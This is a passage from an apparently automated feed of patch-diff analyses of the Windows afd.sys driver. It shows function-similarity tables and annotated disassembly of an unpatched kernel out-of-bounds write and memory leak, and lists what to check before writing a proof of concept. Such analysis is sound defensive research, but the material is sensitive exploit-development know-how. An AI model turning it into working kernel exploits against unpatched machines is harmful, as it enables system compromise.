&lt;td&gt;Feature flag added; lock/unlock wrapping around dispatch made conditional&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C005B360&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8438&lt;/td&gt;
&lt;td&gt;Feature flags added; connection validation split&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C005B600&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8438&lt;/td&gt;
&lt;td&gt;Same restructuring as &lt;code&gt;sub_1C005B360&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0032B70&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9212&lt;/td&gt;
&lt;td&gt;Feature flag; condition split; explicit handle variable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0047DC4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9067&lt;/td&gt;
&lt;td&gt;Removed dual path; unified to &lt;code&gt;sub_1C0047FF0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C003C5C0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.6169&lt;/td&gt;
&lt;td&gt;Removed dual path; unified to &lt;code&gt;sub_1C0047FF0&lt;/code&gt;; code deduplication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C005A280&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9236&lt;/td&gt;
&lt;td&gt;Removed dual path; unified to &lt;code&gt;sub_1C0047FF0&lt;/code&gt;; reversed condition order&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0076DB0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8696&lt;/td&gt;
&lt;td&gt;Removed feature-flag-gated dual path; unconditional IRP draining and reset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0077F70&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9893&lt;/td&gt;
&lt;td&gt;Inlined connection setup; fields set directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0047000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9077&lt;/td&gt;
&lt;td&gt;Dual code path consolidation; variable/address renames&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0047FF0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9373&lt;/td&gt;
&lt;td&gt;Unified function replacing two prior helpers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0034AD0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9541&lt;/td&gt;
&lt;td&gt;Feature flag; condition split&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanConnectHandler&lt;/code&gt; (&lt;code&gt;0x1C00771B0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9371&lt;/td&gt;
&lt;td&gt;Variable renaming; dual code path consolidation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C00548E0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8961&lt;/td&gt;
&lt;td&gt;Feature flag; condition split&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0035A70&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.342&lt;/td&gt;
&lt;td&gt;Significant restructuring; feature flag + path consolidation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C00360C0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.423&lt;/td&gt;
&lt;td&gt;Significant restructuring; matched to a different function in the patched binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0042230&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.373&lt;/td&gt;
&lt;td&gt;Significant restructuring; matched to a different function in the patched binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C003BD30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.391&lt;/td&gt;
&lt;td&gt;Matched to a different function; likely false match&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Cosmetic / False Matches (10 functions)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0047D90&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.918&lt;/td&gt;
&lt;td&gt;Address changes only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C00795C4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.970&lt;/td&gt;
&lt;td&gt;Variable renaming only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0053FA0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.115&lt;/td&gt;
&lt;td&gt;False match — unrelated functions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0068600&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.130&lt;/td&gt;
&lt;td&gt;False match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0076630&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.168&lt;/td&gt;
&lt;td&gt;False match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0015AF8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.110&lt;/td&gt;
&lt;td&gt;False match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0065D98&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.006&lt;/td&gt;
&lt;td&gt;False match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C0069608&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.095&lt;/td&gt;
&lt;td&gt;False match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C000CEB0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.329&lt;/td&gt;
&lt;td&gt;False match or trivial function&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C00529A0&lt;/code&gt; (listed above)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Also has cosmetic restructuring alongside the candidate security change&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were added or removed between the two binaries. All 33 changed functions were matched one-to-one. The 10 low-similarity matches (similarity &amp;lt; 0.33) are almost certainly false matches — unrelated functions paired due to address proximity or structural coincidence.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;h3&gt;Confidence&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding 1 (High confidence):&lt;/strong&gt; The unpatched &lt;code&gt;size - 8&lt;/code&gt; 16-bit underflow (for options size 6/7, past the &lt;code&gt;&amp;gt;= 6&lt;/code&gt; guard) and the patched &lt;code&gt;size &amp;lt; 8&lt;/code&gt; zero-fill are both directly visible in the disassembly and decompilation of both builds. The underflow is bounded to a 16-bit length (≤ ~64 KB), not an unbounded copy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 2 (Medium-High confidence):&lt;/strong&gt; The added drain of the &lt;code&gt;conn+0x70&lt;/code&gt; list before lock release on the failed-listen path is clearly present in the patched build and absent in the unpatched build. The precise exploitability (use-after-free vs. leaked/stuck IRP) is not fully established from the diff.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 3 (Low confidence / downgraded):&lt;/strong&gt; The change is real (the &lt;code&gt;conn[0x91]&lt;/code&gt; teardown-state check made unconditional) but is a hardening improvement, not a race. The earlier TOCTOU characterization is not supported by the code, which runs the whole sequence under the connection spinlock.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Assumptions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Feature flags gate the fixes.&lt;/strong&gt; Findings 1 and 2 are only active when their &lt;code&gt;EvaluateCurrentState&lt;/code&gt; feature flag is enabled; with the flag off, the patched binary still contains the vulnerable path. Finding 3 is the reverse: the patched build removes the flag gate so the check is always enforced. The runtime flag state on a target should be confirmed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Options length source (Finding 1).&lt;/strong&gt; The options size at &lt;code&gt;[connection+0x18]&lt;/code&gt; is assumed to derive from the transport connection response. The degree of attacker control over reaching exactly 6/7 depends on the transport and was not further traced.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sub_1C00529A0&lt;/code&gt;&lt;/strong&gt; is listed as a security-relevant candidate based on its restructured cleanup logic; its exact mechanism was not verified in this pass.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;What to Verify Manually Before Writing a PoC&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Options length control (Finding 1):&lt;/strong&gt; Confirm how the transport populates &lt;code&gt;[connection+0x18]&lt;/code&gt; and whether values 6/7 are reachable for a peer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature flag states:&lt;/strong&gt; Confirm the runtime state of &lt;code&gt;g_Feature_1191968056_61054031&lt;/code&gt;, &lt;code&gt;g_Feature_2949905720_61057653&lt;/code&gt;, and &lt;code&gt;g_Feature_757798200_60363861&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Output buffer sizing (Finding 1):&lt;/strong&gt; Determine the mapped extent of the accept output buffer to characterize how far past it the ~64 KB copy reaches.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Endpoint lifetime (Finding 2):&lt;/strong&gt; Confirm whether &lt;code&gt;AfdDerefTLBaseEndpoint&lt;/code&gt; on the abort path can free the endpoint while IRPs remain on &lt;code&gt;conn+0x70&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — Out-of-bounds write (CWE-787) in SAN accept address handling and out-of-bounds read (CWE-125) in super-accept address retrieval fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_8c7b3792-afd-report-20260626-131526.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/afd_8c7b3792-afd-report-20260626-131526.html</id><summary type="html">&lt;p&gt;KB5087537&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9888&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; Matched: 1097 | Changed: 15 | Identical: 1082 | Unmatched: 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch delivers two related kernel address-buffer bounds fixes that were previously staged behind WIL feature flags and are made unconditional in the patched build:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding A (primary, CWE-787):&lt;/strong&gt; an out-of-bounds write in the AFD SAN accept address handling (&lt;code&gt;AfdSanConnectHandler&lt;/code&gt; and its twin &lt;code&gt;AfdSanAcceptCore&lt;/code&gt;). The unpatched default path copies an attacker-influenced-length address field into an MDL-mapped kernel buffer without clamping to the buffer capacity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding B (CWE-125):&lt;/strong&gt; an out-of-bounds read in the SuperAccept transport-address retrieval completion routine (&lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;) that leaks up to 10 bytes of adjacent kernel memory to user mode.&lt;/li&gt;
&lt;li&gt;In both cases the unpatched build keeps the unsafe path as the default when its feature flag is disabled; the patch removes the flag and applies the bounds clamp unconditionally.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;h4&gt;Finding A (primary) — Out-of-bounds write in SAN accept address handling&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High (kernel out-of-bounds write with attacker-influenced length into an MDL-mapped buffer)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Out-of-bounds write (CWE-787)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;AfdSanConnectHandler&lt;/code&gt; (unpatched &lt;code&gt;sub_1C00772A0&lt;/code&gt; / patched &lt;code&gt;sub_1C00771B0&lt;/code&gt;) and its twin &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (&lt;code&gt;sub_1C007608C&lt;/code&gt; in both builds)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature flag:&lt;/strong&gt; &lt;code&gt;g_Feature_232206649_59779869&lt;/code&gt; (evaluated via &lt;code&gt;EvaluateCurrentState&lt;/code&gt;, &lt;code&gt;sub_1c0015714&lt;/code&gt;) — present 5 times in the unpatched decompilation, 0 times in the patched build.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
When an accepted SAN connection's address data is written into the accept output buffer, the copy length is taken from a 16-bit length field at the start of the source data (&lt;code&gt;*(uint16*)Src&lt;/code&gt;). In the unpatched build the bounds clamp against the destination buffer capacity is gated behind &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_232206649_59779869)&lt;/code&gt;. When the flag is disabled (its default state), control falls into a legacy path that issues &lt;code&gt;memmove(dst, Src+2, *(uint16*)Src + 2)&lt;/code&gt; (and a sibling &lt;code&gt;memmove(dst+8, Src, *(uint16*)Src + 4)&lt;/code&gt;) with &lt;strong&gt;no clamp&lt;/strong&gt; against the buffer capacity. &lt;code&gt;dst&lt;/code&gt; lies inside the MDL-mapped accept buffer, so a length field larger than the remaining capacity drives the copy past the end of that buffer — a kernel out-of-bounds write of attacker-influenced data. The patched build removes the feature flag and the entire unclamped legacy path, so the copy length is always clamped to the buffer capacity (&lt;code&gt;capacity - 2&lt;/code&gt; for the address copy, &lt;code&gt;capacity - 8&lt;/code&gt; for the header+address copy).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assembly evidence — &lt;code&gt;AfdSanConnectHandler&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_1C00772A0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unclamped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="mh"&gt;0x1c007788d&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_232206649_59779869_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0077894&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0077899&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c007789b&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mh"&gt;0x1c007796a&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;legacy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNCLAMPED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- flag ON: clamped path (capacity taken from word [r12+0x18]) ---&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00778a1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12+0x18&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0077905&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfffe&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mh"&gt;0x1c007790a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c007791d&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- flag OFF: legacy path, NO capacity clamp ---&lt;/span&gt;
&lt;span class="mh"&gt;0x1c007796a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12+0x18&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00779ad&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint16&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00779b1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint16&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unclamped&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00779bc&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WRITE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00779df&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;sibling&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint16&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00779e3&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
